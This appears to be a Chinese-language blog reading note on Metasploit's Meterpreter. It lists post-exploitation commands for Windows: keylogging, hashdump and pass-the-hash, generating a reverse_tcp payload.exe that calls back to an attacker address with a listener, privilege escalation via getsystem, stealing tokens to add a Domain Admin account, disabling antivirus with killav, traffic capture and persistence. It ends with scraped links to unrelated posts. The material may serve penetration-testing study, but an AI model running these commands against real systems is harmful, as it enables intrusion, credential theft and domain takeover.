Metasploit 读书笔记-神器Meterpreter
一、基本命令
截屏
screenshot
2.获取系统平台信息
sysinfo
3.进程信息
ps
4.获取键盘记录
查看进程信息ps--migrate将会话迁移至explorer.exe进程空间中---然后--
run post/windows/capture/keylog_recorder
过一段时间CTRL+C中止。
最后在另一个终端里,可以看到我们使用键盘记录所捕捉的内容。
5.提取密码哈希
use priv运行特权账号
run post/windows/gather/hashdump
6.传递hash值
use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
7.权限提升
当我们获得了目标系统的访问权限,可以通过net user命令创建限制权限的普通用户帐号。
XP系统中:
net user bob password123 /add.
然后,创建一个基于Meterpreter的攻击程序payload.exe,复制到目标XP机器上,并在bob用户下运行。
利用攻击载荷生成器(msfpayload)来创建Windows可执行文件格式的Meterpreter攻击载荷程序payload.exe.
root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.33.139 LPORT=443 X>payload.exe
root@bt:/opt/framework3/msf3# msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.33.139 LPORT=443 E
meterpreter> getuid
创建载荷时,设置LHOST和LPORT参数指示了反向shell连接到攻击机的地址和端口443,
随后调用msfcli接口进行监听并等待连接,当有连接到达时,将会开启Meterpreter的shell。
shell
use priv
getsystem
getuid
8.令牌假冒
在令牌假冒攻击中,我们获取目标系统中的一个Kerberos令牌,将其用在身份认证环节,来假冒当初创建这个令牌的用户。这是Meterpreter最强大的功能之一。
用户登录服务器时,一个Kerberos令牌会在服务器上在一段时间内保持有效。
我们就可以利用这个令牌入侵系统,而不需破解他的密码。
9.使用PS
使用PS查看进程
使用steal_token命令和PID参数,盗取域管理员用户的令牌。PID为域管理员运行的进程
另外,有些情况下PS命令不能列出域管理员运行的进程,我们可以使用incognito命令列出系统中可用的令牌。
最好是同时检查ps命令和incognito命令的输出结果。
通过use incognito命令加载incognito模块,然后通过list_tokens -u列出令牌。
假冒令牌:
impersonate_token ****\\***(注意双斜杠)
添加用户:
add_user omgcom password123 -h 192.168.33.50(域控)
赋予域管理员权限:
add_group_user "Domain Admins" omgcom -h 192.168.33.50
10.跳板攻击(Pivoting)
允许从Meterpreter 终端攻击网络中的其他系统。
跳板攻击允许你使用已经取得控制的Meterpreter终端来攻击内部网络中的其他机器。
11.使用Meterpreter脚本
run 脚本名字
12.迁移进程
攻击系统时常常利用IE漏洞等,如果目标主机关闭了浏览器,Meterpreter会话也随之关闭,从而导致目标丢失。
渗透以后要将会话迁移到内存空间稳定的、不会关闭的服务进程中,以维持稳定的控制。
run post/windows/manage/migrate
13.关闭杀毒软件
run killav
14。获取系统密码hash
run hashdump
15.查看目标所有流量
run packetrecorder -i 1
16.获取系统信息
Scraper脚本可以获取用户名、密码、注册表、哈希值、收集系统信息等。
run scraper
17。控制持久化
Metasploit 读书笔记-神器Meterpreter的更多相关文章
- Metasploit 读书笔记-持久控制
Meterpreter的persisitence脚本允许主任meterpreter代理,以确保系统重启之后Meterpreter还能运行。如果是反弹连接方式,可以设置连接攻击机的时间间隔。如果是绑定方 ...
- metasploit 读书笔记-EXPLOITATION
一、渗透攻击基础 1.常用命令 show exploits 显示Meta框架中所有可用的渗透攻击模块。 show options 显示模块所需要的各种参数 back 返回Meta的上一个状态 sear ...
- metasploit 读书笔记-信息收集
三、信息收集 被动信息收集 在不接触目标系统时进行的信息收集,包括使用工具Yeti、Whois (1)Whois msf > whois secmaniac.net (2)Netcraft:fi ...
- metasploit 读书笔记1
The msfpayload component of Metasploit allows you to generate shellcode, executables, and much more ...
- 读书笔记汇总 - SQL必知必会(第4版)
本系列记录并分享学习SQL的过程,主要内容为SQL的基础概念及练习过程. 书目信息 中文名:<SQL必知必会(第4版)> 英文名:<Sams Teach Yourself SQL i ...
- 读书笔记--SQL必知必会18--视图
读书笔记--SQL必知必会18--视图 18.1 视图 视图是虚拟的表,只包含使用时动态检索数据的查询. 也就是说作为视图,它不包含任何列和数据,包含的是一个查询. 18.1.1 为什么使用视图 重用 ...
- 《C#本质论》读书笔记(18)多线程处理
.NET Framework 4.0 看(本质论第3版) .NET Framework 4.5 看(本质论第4版) .NET 4.0为多线程引入了两组新API:TPL(Task Parallel Li ...
- C#温故知新:《C#图解教程》读书笔记系列
一.此书到底何方神圣? 本书是广受赞誉C#图解教程的最新版本.作者在本书中创造了一种全新的可视化叙述方式,以图文并茂的形式.朴实简洁的文字,并辅之以大量表格和代码示例,全面.直观地阐述了C#语言的各种 ...
- C#刨根究底:《你必须知道的.NET》读书笔记系列
一.此书到底何方神圣? <你必须知道的.NET>来自于微软MVP—王涛(网名:AnyTao,博客园大牛之一,其博客地址为:http://anytao.cnblogs.com/)的最新技术心 ...
随机推荐
- 基于springboot+kotlin+gradle构建的框架的坑
项目采用以上技术构建,于是本人就尝试构建自己的脚手架,然后遇到一大推问题. 使用的是springinitials构建,IDE是:IDEA 现在也是知其然不知其所以然,但是先记录下来修改过程,以后等知识 ...
- vijos1369:难解的问题
描述 在你的帮助下,蔚蓝来到了埃及.在金字塔里,蔚蓝看到了一个问题,传说,能回答出这个问题的人就能受到埃及法老的祝福,可是蔚蓝日夜奋战,还是想不出来,你能帮帮他么?(XXX: 胡扯,教主怎么可能想不出 ...
- java代码继承基础
总结:继承是java编程的核心,我搞不明白,子类对象调用父类的成员方法时.父类的带参构造方法有什么用,还赋值了 package com.bc; //普通类 public class yt { publ ...
- 怎么设置myeclipse的格式化键格式每行的字符长度
MyEclipse 格式化代码调整每行长度默认每行是80~对于咱初学者,非敏捷型编码者来说~有点短以至于Ctrl+Shift+F 格式化代码后总把一行拆成两行或者更多有点不适应 所以按个人爱好 更改他 ...
- Scala的Json序列化
import java.util.TimeZone import com.fasterxml.jackson.databind.{DeserializationFeature, ObjectMappe ...
- java 字符串和集合互相转换
今天在写项目的时候遇到一个问题,就是要把得到的一个集合转换成字符串,发现 import org.apache.commons.lang.StringUtils; 有这么一个简单的方法:String s ...
- openGL 预定义变量04
OpenGL4.0 GLSL预定义变量 GLSL为不同的渲染阶段定义了一些特定的变量.这些预定义(也叫做内置变量)有特定的属性. 所有的预定义变量都以gl_开头.用户定义的变量不能以此开头. 下面分类 ...
- eclipse安卓模拟器Failed to install on device 'emulator-5554': timeout处理方案
我们在用模拟器调试的时候,经常会出现Failed to install on device 'emulator-5554': timeout这个错误.其实就是有些虚拟器在部署的时候时间过于长.系统就认 ...
- python之简单的函数介绍(http://docs.python.org/3/library)
Python不但能非常灵活地定义函数,而且本身内置了很多有用的函数,可以直接调用. 在上面的网站上我们可以进行查询,Python具体都有哪些函数. 我们也可以再交互命令行中来查找函数: >> ...
- SQL基础E-R图基础
ER图分为实体.属性.关系三个核心部分.实体是长方形体现,而属性则是椭圆形,关系为菱形. ER图的实体(entity)即数据模型中的数据对象,例如人.学生.音乐都可以作为一个数据对象,用长方体来表示, ...